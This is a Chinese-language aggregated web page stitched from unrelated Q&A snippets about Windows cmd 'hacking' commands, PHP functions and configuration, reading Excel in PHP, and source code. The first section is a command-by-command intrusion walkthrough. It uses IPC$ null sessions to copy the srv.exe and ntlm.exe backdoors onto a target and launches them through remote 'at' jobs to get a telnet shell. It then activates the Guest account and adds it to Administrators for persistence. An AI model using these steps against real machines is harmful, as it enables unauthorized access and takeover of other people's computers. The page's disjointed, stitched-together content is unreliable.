A. 跪求cmd黑客攻擊指令和cmd電腦命令!懸賞大大滴有
一 相關命令
建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)
建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)
映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$
刪除一個ipc$連接
net use \\IP\ipc$ /del
刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認
提示:對於不熟悉命令行操作的朋友來說.建立ipc$連接後,可以在"我的電腦"或"網上鄰居"右鍵映射網路驅動器,效果一樣.
二 經典入侵模式
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是administrators,密碼為"空"的IP地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連接,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號里的是用戶名,輸入administrators,命令即可成功完成。
2. C:\> srv.exe \\127.0.0.1\admin$
先復制srv.exe上去,在流光的Tools目錄下就有(這里的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要復制到什麼地方去了)。
3. C:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧(這里設置的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)
5. C:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就准備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧,注意埠是99。Telnet默認的是23埠,但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務!這就要用到ntlm了
7.C:\> ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動(這里的C:\WINNT\system32>指的是對方計算機,運行ntlm其實是讓這個程序在對方計算機上運行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!
9.Telnet 127.0.0.1,接著輸入用戶名與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台計算機).
ipc$經典入侵步驟:
1、net use \\ip\ipc$ 密碼 /user:用戶名
2、 文件名 \\ip\c$
3、net time \\ip
4、at \\ip 時間 命令
5、入侵成功,連接你的肉雞
常用的網路命令
net user 查看用戶列表
net user 用戶名 密碼 /add 添加用戶
net user 用戶名 密碼 更改用戶密碼
net localgroup administrators 用戶名 /add 添加用戶到管理組
net user 用戶名 /delete 刪除用戶
net user 用戶名 查看用戶的基本情況
net user 用戶名 /active:no 禁用該用戶
net user 用戶名 /active:yes 啟用該用戶
net share 查看計算機IPC$共享資源
net share 共享名 查看該共享的情況
net share 共享名=路徑 設置共享。例如 net share c$=c:
net share 共享名 /delete 刪除IPC$共享
net stop lanmanserver 關閉ipc$和默認共享依賴的服務
net use 查看IPC$連接情況
net use \\ip\ipc$ "密碼" /user:"用戶名" ipc$連接
net use \\ip\ipc$ /del 刪除一個連接
net use z: \\目標IP\c$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤
net use z: /del
net time \\ip 查看遠程計算機上的時間
路徑:\文件名 \\ip\共享名復制文件到已經ipc$連接的計算機上
net view ip 查看計算機上的共享資源
at 查看自己計算機上的計劃作業
at \\ip 查看遠程計算機上的計劃作業
at \\ip 時間 命令(注意加盤符) 在遠程計算機上加一個作業
at \\ip 計劃作業ID /delete 刪除遠程計算機上的一個計劃作業
at \\ip all /delete 刪除遠程計算機上的全部計劃作業
at \\ip time "echo 5 > c:\t.txt" 在遠程計算機上建立文本文件t.txt;
下面純手打,上面是度娘給的
taskkill /im 進程名 停止運行
tasklisy 查看運行進程
ipconfig 查看本機IP
md 創建文件夾
rd 刪除文件夾
echo off > .txt|exit 添加文本
echo 內容 >> .txt 給文本添加內容
復制文件
net user 用戶名 密碼/add 創建一個普通賬號
net localgroup administrators 用戶名 /add 把賬戶加入超級用戶組
B. php中preg_split()函數的PREG_SPLIT_NO_EMPTY到底有什麼作用啊
意思中,假如分割後的數組中有空的項目,則刪除掉,只留下非空的項目。
你這個沒有分割後沒有空的項目,所以沒啥區別。
建議加上去;
假如分割後
$keywords[0]='saf'
$keywords[1]='abfg'
$keywords[2]=''
$keywords[3]='xxv'
那麼如果不加這個,將會有空的,應該不是你想要的效果
C. php配置環境變數(php的環境)
如何讓PHP能夠讀取系統環境變數一般情況下,都能實現顯示phpinfo()的頁面。就從能夠顯示該頁面之後出現的問題說起。php的問題都會顯示在phpinfo()頁面上。首先查看自己的php.ini的路徑是否正確。Q:我已經配置了php.ini文件,但重新啟動伺服器後為什麼沒有任何效果?A:這個問題主要有這幾種情況。第一個原因是由於系統所讀取的php.ini文件與你當時修改的php.ini文件不一致造成的1、可以通過phpinfo()的ConfigurationFile(php.ini)Path選項查看當前PHP伺服器讀取的是哪一個php.ini2、如果你要更改php.ini的文件存取位置,可參考php.ini的搜索順序,如下所示:a)SAPI模塊所指定的位置(Apache2中的PHPIniDir指令,CGI和CLI中的-c命令行選項,NSAPI中的php_ini參數,THTTPD中的PHP_INI_PATH環境變數)b)HKEY_LOCAL_MACHINESOFTWAREPHPIniFilePath(Windows注冊表位置)c)PHPRC環境變數d)當前工作目錄(對於CLI)e)web伺服器目錄(對於SAPI模塊)或PHP所在目錄(Windows下其它情況)f)Windows目錄(C:windows或C:winnt),或--with-config-file-path編譯時選項指定的位置3、一般做法:通過設置PHPRC環境變數,a)操作:右擊我的電腦-屬性-高級-環境變數b)在系統變數下新建一個「變數名為PHPRC,變數值為你的php.ini文件所地文件路徑」的環境變數第二個原因是:PHP沒有找到相應的擴展庫1、查看PHP找到的擴展庫位置:在phpinfo()的extension_dir選項可以看到2、在php.ini更改extension_dir文件第三個原因:沒有完全重啟IIS1、對php.ini的修改必須完全重啟IIS才能起作用,而不能只是對當前站點進行重啟。2、進入cmd,停止伺服器:netstopiisadmin;啟動伺服器:netstartw3svcQ:我的PHP怎麼沒有辦法激活MySql擴展庫A:在PHP5.0以上版本,MySQL默認未啟用,因此需要咱們進行手工激活。1、在PHP運行MySql,必須在php.ini中激活php_mysql.dll動態連接庫,另外還需要訪問MySQL客戶端連接庫即libmysql.dll文件2、可以通過php.ini中的extension激活php_mysql.dll動態連接庫;而libmysql.dll文件必須放在Windows的系統路徑PATH才能訪問,可以通過把libmysql.dll復制到system32目錄下,也可以在PATH環境變數中新增一個路徑。3、建議做法:通過設置PATH,方便以後的php升級,在系統環境變數中的PATH後增加「libmysql.dll」所在的文件夾即可。記得通過「;」號隔開4、[案例]最近,伺服器總是找不到MySql擴展庫,導致程序無法運行。因此,把所有文件刪除後重新配置PHP伺服器。但最後在安裝MySql的時候,卻始終無法激活MySql擴展庫。在phpinfo()中找到的信息如下:PATH:c:phpPHPRC:C:phpextension_dir:c:phpext另外,我測試了將其它的庫激活,如msql、gd2、xml,在phpinfo()都可以正常顯示證明PHP能找到php_mysql.dll動態連接庫,而MySql的運行的另一個條件是能夠訊問MySQL客戶端連接庫即libmysql.dll文件,看來問題就在這里了。我對C盤搜索libmysql.dll文件,發現在system32和php文件夾各有一個文件,做好備份後,我嘗試刪除system32的libmysql.dll文件,發現被鎖死,無法刪除,卻可以重新命名,我隨便修改了名稱,再重新啟動IIS,伺服器運行正常。補充一點:如果ConfigurationFile(php.ini)Path顯示為C:Windows就說明,php.ini文件沒有讀取到。另外,我發現,在用IIS整合php時,有兩種方式:ISAPI與CGI模式這兩種方式,我們都可以看到phpinfo頁面但是使用ISAPI模式,無法讀取環境變數,所以通過環境變數PHPRC設置的php.ini路徑無法找到。使用CGI就可以,這樣就不必把好多文件拷到系統文件下。
php擴展在全局變數中不存在但是列印phpinfo卻存在?說明:我本地裝的php集成環境MAMPPRO
最近遇到一個比較奇怪的問題,在本地搭建了PHP運行環境,並且安裝了相應的PHP擴展並且在測試頁面中通過列印phpinfo能看到所安裝的擴展是正常的,但是php-m|grepswoole沒有顯示swoole已經配好了php環境變數
裝好了php,php一些常用的擴展後就開始配置php系統環境變數,因為我用的macbookpro所以配置命令如下
查看環境變數是否OK
以為一切OK的我想試試swoole的性能是否真有官網說的那麼厲害於是就准備了一段測試腳本
測試腳本
終端執行
然後奇怪的是swoole的http服務並沒有起來????
然後查看php錯誤日誌驚奇!
確定瀏覽器列印的phpinfo是有swoole擴展的,而且終端的php跟界面的php是同一個版本的php百思不解然後我在終端
結果很意外終端裡面找不到swoole擴展!!!可是瀏覽器里列印有的啊而且是同一個PHP版本??奇怪了
然後在終端執行php-i這個是在終端列印phpinfo
然後對比這個
終端列印phpinfo
瀏覽器列印phpinfo
是同一個PHP沒錯了。。。
然後再對比php.ini引用路徑
終端的:
瀏覽器的
終於找到原因了兩個地方引用的php.ini不一樣於是在終端引用的php.ini同樣加上extension=swoole.so即可
MacM1安裝php開發環境去年年底,蘋果推出了新款的M1晶元的mac,最近剛好要換電腦,考慮對比再三,還是選擇了M1晶元的mac;剛拿到手以後,擔心會有軟體不兼容啥的,網上也推薦作為主力開發的筆記本的話,不推薦M1,但是現在已經完全配置好了開發環境,安全下車了。下面就來簡單介紹下安裝過程中的步驟:
注意:如果沒有安裝brew,需要先安裝brew,使用arch-arm64brewinstall安裝
首先搜索是否包含想要安裝的mysql版本,如下圖:
此處選擇[email protected]這個版本,我本地已經安裝完成了
安裝完成後,需要添加環境變數,這樣才能在任何目錄下面直接打mysql訪問
先查詢有哪些php的版本,之前看網上說的M1,目前還不支持php7.3以下的版本,所有我安裝了php7.4
等待安裝完成後,可以開始部署項目了,由於我的項目是thinkphp框架開發的,而且用到了redis,所以,這邊需要先安裝redis依賴
安裝phpredis依賴(此處使用pecl安裝,網上有很多使用編譯安裝的方法,那種方法比較麻煩,而且需要配置的地方比較多,pecl安裝的話,快捷方便)
這個安裝完成後,就只需要去nginx目錄下面配置項目文件就OK了。
其他的不多說,主要提一點,就是thinkphp框架,重定向那邊的配置,location裡面的配置需要修改下,如下圖:
修改完成後,重啟伺服器,還要重啟php-fpm,這個是關鍵
php伺服器變數$_SERVER伺服器環境變數$_ENV
PHP?$_SERVER變數
$_SERVER是一個包含諸如頭信息(header)、路徑(path)和腳本位置(scriptlocations)的數組。它是PHP中一個超級全局變數,我們可以在PHP程序的任何地方直接訪問它。
$_SERVER包含著眾多的信息,你可以嘗試直接列印它:
print_r($_SERVER);
$_SERVER數組元素
更多情況下,我們只需要$_SERVER數組中的某些元素(數組單元)。$_SERVER數組包含的元素如下:
頁面程序相關
$_SERVER[『PHP_SELF』]:相對於網站根目錄的路徑及PHP程序名稱,與documentroot相關。
$_SERVER[『HTTP_REFERER』]:鏈接到當前頁面的前一頁面的URL地址。
$_SERVER[『SCRIPT_NAME』]:相對於網站根目錄的路徑及PHP程序文件名稱。
$_SERVER[『REQUEST_URI』]:訪問此頁面所需的URI。
$_SERVER[『SCRIPT_FILENAME』]:當前運行PHP程序的絕對路徑及文件名。
$_SERVER[『PATH_TRANSLATED』]:當前PHP程序所在文件系統(不是文檔根目錄)的基本路徑。
$_SERVER[『QUERY_STRING』]:查詢(query)的字元串(URL中第一個問號?之後的內容但不包括#後面的內容)。
$_SERVER[『argv』]:傳遞給當前PHP程序的參數。
$_SERVER[『argc』]:命令行模式下,包含傳遞給程序的命令行參數的個數。
$_SERVER[『REQUEST_TIME』]:請求開始時的時間戳,從PHP5.1.0起有效。
$_SERVER[『REQUEST_METHOD』]:訪問頁面時的請求方法,例如:「GET」、「HEAD」,「POST」或「PUT」。
$_SERVER[『HTTP_ACCEPT』]:當前請求的Accept:頭信息的內容。
$_SERVER[『HTTP_ACCEPT_CHARSET』]:當前請求的Accept-Charset:頭信息的內容。例如:「iso-8859-1,*,utf-8」。
$_SERVER[『HTTP_ACCEPT_ENCODING』]:當前請求的Accept-Encoding:頭信息的內容。例如:「gzip」。
$_SERVER[『HTTP_ACCEPT_LANGUAGE』]:當前請求的Accept-Language:頭信息的內容。例如:「zh-cn」。
$_SERVER[『HTTP_CONNECTION』]:當前請求的Connection:頭信息的內容。例如:「Keep-Alive」。
$_SERVER[『HTTP_HOST』]:當前請求的Host:頭信息的內容。
$_SERVER[『HTTPS』]:如果PHP程序是通過HTTPS協議被訪問,則被設為一個非空的值。
$_SERVER[『PHP_AUTH_DIGEST』]:當作為Apache模塊運行時,進行HTTPDigest認證的過程中,此變數被設置成客戶端發送的「Authorization」HTTP頭內容(以便作進一步的認證操作)。
$_SERVER[『PHP_AUTH_USER』]:當PHP運行在Apache或IIS(PHP5是ISAPI)模塊方式下,並且正在使用HTTP認證功能,這個變數便是用戶輸入的用戶名。
$_SERVER[『PHP_AUTH_PW』]:當PHP運行在Apache或IIS(PHP5是ISAPI)模塊方式下,並且正在使用HTTP認證功能,這個變數便是用戶輸入的密碼。
$_SERVER[『AUTH_TYPE』]:當PHP運行在Apache模塊方式下,並且正在使用HTTP認證功能,這個變數便是認證的類型。
伺服器端相關
$_SERVER[『DOCUMENT_ROOT』]:當前運行PHP程序所在的文檔根目錄,在伺服器配置文件中定義。
$_SERVER[『GATEWAY_INTERFACE』]:伺服器使用的CGI規范的版本,例如:「CGI/1.1」。
$_SERVER[『SERVER_ADDR』]:當前運行PHP程序所在的伺服器的IP地址。
$_SERVER[『SERVER_NAME』]:當前運行PHP程序所在的伺服器的名稱。
$_SERVER[『SERVER_ADMIN』]:Apache伺服器配置文件中的SERVER_ADMIN參數。
$_SERVER[『SERVER_PORT』]:伺服器所使用的埠。如果使用SSL安全連接,則這個值為用戶設置的HTTP埠。
$_SERVER[『SERVER_SIGNATURE』]:包含伺服器版本和虛擬主機名的字元串。
$_SERVER[『SERVER_SOFTWARE』]:伺服器標識的字串,在響應請求時的頭信息中給出。
$_SERVER[『SERVER_PROTOCOL』]:請求頁面時通信協議的名稱和版本,例如:「HTTP/1.0」。
其他雜項
$_SERVER[『HTTP_USER_AGENT』]:當前請求的User-Agent:頭信息的內容,該字元串表明了訪問該頁面的用戶代理的信息。
$_SERVER[『REMOTE_ADDR』]:正在瀏覽當前頁面用戶的IP地址。
$_SERVER[『REMOTE_HOST』]:正在瀏覽當前頁面用戶的主機名。
$_SERVER[『REMOTE_PORT』]:用戶連接到伺服器時所使用的埠。
注意,如果以命令行方式運行PHP,上面列出的元素幾乎沒有有效的(或是沒有任何實際意義的)。
PHP$_ENV變數
$_ENV是一個包含伺服器端環境變數的數組。它是PHP中一個超級全局變數,我們可以在PHP程序的任何地方直接訪問它。
$_ENV只是被動的接受伺服器端的環境變數並把它們轉換為數組元素,你可以嘗試直接列印它:
print_r($_ENV);
限於篇幅,在此不再列出列印的結果,且不同的伺服器上,列印出的結果可能是完全不同的。
$_ENV數組元素
$_ENV數組中的元素(數組單元)隨伺服器環境不同而有較大差異,所以無法像?$_SERVER?那樣列出完整的列表。以下是$_ENV數組包含的比較通用的元素:
$_SERVER[『PATH』]:環境變數PATH路徑。
$_SERVER[『CLASSPATH』]:系統CLASSPATH路徑。
$_SERVER[『LIB』]:系統LIB庫路徑。
$_SERVER[『INCLUDE』]:系統Include路徑,注意與PHP的包含路徑是不一樣的。
$_SERVER[『OS』]:操作系統類型。
$_SERVER[『LANG』]:系統語言,如en_US或zh_CN。
$_SERVER[『PWD』]:當前工作目錄。
$_SERVER[『TEMP』]:系統TEMP路徑。
$_SERVER[『AP_PARENT_PID』]:當前進程ID號。
$_SERVER[『NUMBER_OF_PROCESSORS』]:系統CPU數目。
$_ENV為空的原因及解決辦法
如果列印輸出$_ENV為空,可以檢查一下php.ini的配置:
variables_order="EGPCS"
上述配置表示PHP接受的外部變數來源及順序,EGPCS是Environment、Get、Post、Cookies和Server的縮寫。如果variables_order的配置中缺少E,則PHP無法接受環境變數,那麼$_ENV也就為空了。
如何創建phpinfo查看php信息1、方法一:
命令行查詢,如果已經配置好環境變數,直接在命令行中輸入php-v,將會顯示php的版本信息。如果沒有配置環境變數,直接在命令行中進入到php的安裝目錄後,再輸入命令php-v,在安裝目錄下輸入查詢命令,可以看到輸出的版本信息為PHP5.3.29。
2、方法二:
(1)使用預定義常量PHP_VERSION查詢,新建一個php文件,在裡面輸入?php???echoPHP_VERSION;?。
(2)在瀏覽器中輸出對應的網址,就可以查看到php的版本信息。
3、方法三:
(1)使用phpversion()函數查詢,新建一個php文件,在文件中輸入?php???echophpversion();?即可。
(2)在瀏覽器中訪問,可以看到瀏覽器頁面上返回的php版本信息,跟預定義常量PHP_VERSION顯示效果一樣。
4、方法四:
(1)使用phpinfo()函數查詢,新建一個php文件,在文件中輸入?php???echophpinfo();?即可。
(2)在瀏覽器中訪問,可以看到不僅可以看到PHP的版本信息,還能看到其它很多關於PHP的信息。
D. php讀取excel
在日常開發,尤其是管理後台的構建中,我們常會遇到導入Excel文件進行批量數據操作以及將數據導出到Excel的場景。本篇將分享個人在開發過程中總結的PHP讀取Excel的方法和需要注意的關鍵點。
讀取Excel的過程主要分為接收文件、解析文件、數據處理和返回結果四個步驟。由於導入文件的自由度相對較高,伺服器可能接收到各種形式的文件,因此數據的有效性校驗尤為重要。此外,由於Excel導入文件通常涉及大量數據的批量操作,處理好頁面超時、伺服器內存溢出和容錯機制變得極為關鍵。
導入Excel的步驟如下:
1. 接收和校驗文件:通過校驗上傳文件的MIME類型和大小,確保用戶上傳的文件格式有效且沒有超過伺服器處理能力。這可以預防伺服器內存溢出的問題。
2. 校驗空表:在Excel編輯過程中,用戶可能刪除整行的每個單元格,導致留下一些空行。系統應進行過濾,僅保留包含數據的行。
3. 校驗數據行:根據伺服器處理能力和業務復雜性,限制允許的數據行數,避免導致伺服器內存溢出或頁面超時問題。同時,適當調整伺服器處理Excel文件的超時和內存限制。
4. 校驗空欄位:檢查系統需要的欄位是否為空。系統可能不需要讀取所有列,因此需要進行非空檢查。
5. 校驗數據格式:按業務需求校驗欄位的類型、長度等信息。
6. 去重:根據業務需求進行數據行的去重或報錯。
7. 類型轉換、XSS過濾和數據處理:經過前面的步驟,確保數據的有效性後,對數據進行預處理,使其符合操作介面的要求。
8. 數據有效性校驗:對數據進行與業務相關的校驗,如商品修改前查詢商品是否存在,訂單發貨前查詢訂單是否存在等。
9. 調用介面:通過調用介面進行業務操作,如果介面不能一次性處理所有數據,需分批循環調用介面,並注意介面的頻率限制。
10. 結果處理和異常處理:根據介面返回的信息,組裝成適當的數據格式,提示用戶哪些數據操作成功、失敗及其原因。
在處理Excel文件時,還需注意以下幾點:
1. 科學計數法:Excel編輯軟體通常會將大數字顯示為科學計數法,這對系統來說是不合法的數據格式。系統應允許這種格式,並將其轉換為正確的數據,但需確保轉換結果准確。
2. 超時和內存溢出:進行批量操作時,可能遇到頁面超時或伺服器內存溢出的問題。通過設置超時時間、內存限制,並進行實際測試,以避免這些問題。
3. 空白單元格:用戶上傳的Excel文件可能看似行數較少,但實際內存溢出是因為單元格格式修改導致的無用信息。可以將原文件內容粘貼到新文件中,以去除無用信息。
對於處理大量數據的場景,以下提供了優化方案:
1. 非同步任務:將表格解析任務分解為多個非同步操作,服務端返回結果到前端頁面,頁面自動查詢操作狀態,避免頁面超時,同時用戶可以繼續其他操作。
2. 分多次請求:上傳文件後,服務端解析Excel文件數據,解析完成後返回頁面或暫存到Redis,前端頁面循環發送請求處理數據。
3. 使用CSV格式:將Excel轉換為CSV,可以顯著減少伺服器內存的消耗,提高系統處理大量數據的能力。
總結,通過上述步驟和策略,可以高效地使用PHP讀取和處理Excel文件,同時確保數據安全性和操作效率。
E. 怎樣知道計算機代碼
第一步:同時按住鍵盤上的"Win+R",打開開始菜單下的運行框,如下圖所示:
(5)php刪除非空文件夾擴展閱讀
源代碼主要作用:
1、生成目標代碼,即計算機可以識別的代碼。
2、對軟體進行說明,即對軟體的編寫進行說明。為數不少的初學者,甚至少數有經驗的程序員都忽視軟體說明的編寫,因為這部分雖然不會在生成的程序中直接顯示,也不參與編譯。但是說明對軟體的學習、分享、維護和軟體復用都有巨大的好處。
3、因此,書寫軟體說明在業界被認為是能創造優秀程序的良好習慣,一些公司也硬性規定必須書寫。
4、需要指出的是,源代碼的修改不能改變已經生成的目標代碼。如果需要目標代碼做出相應的修改,必須重新編譯。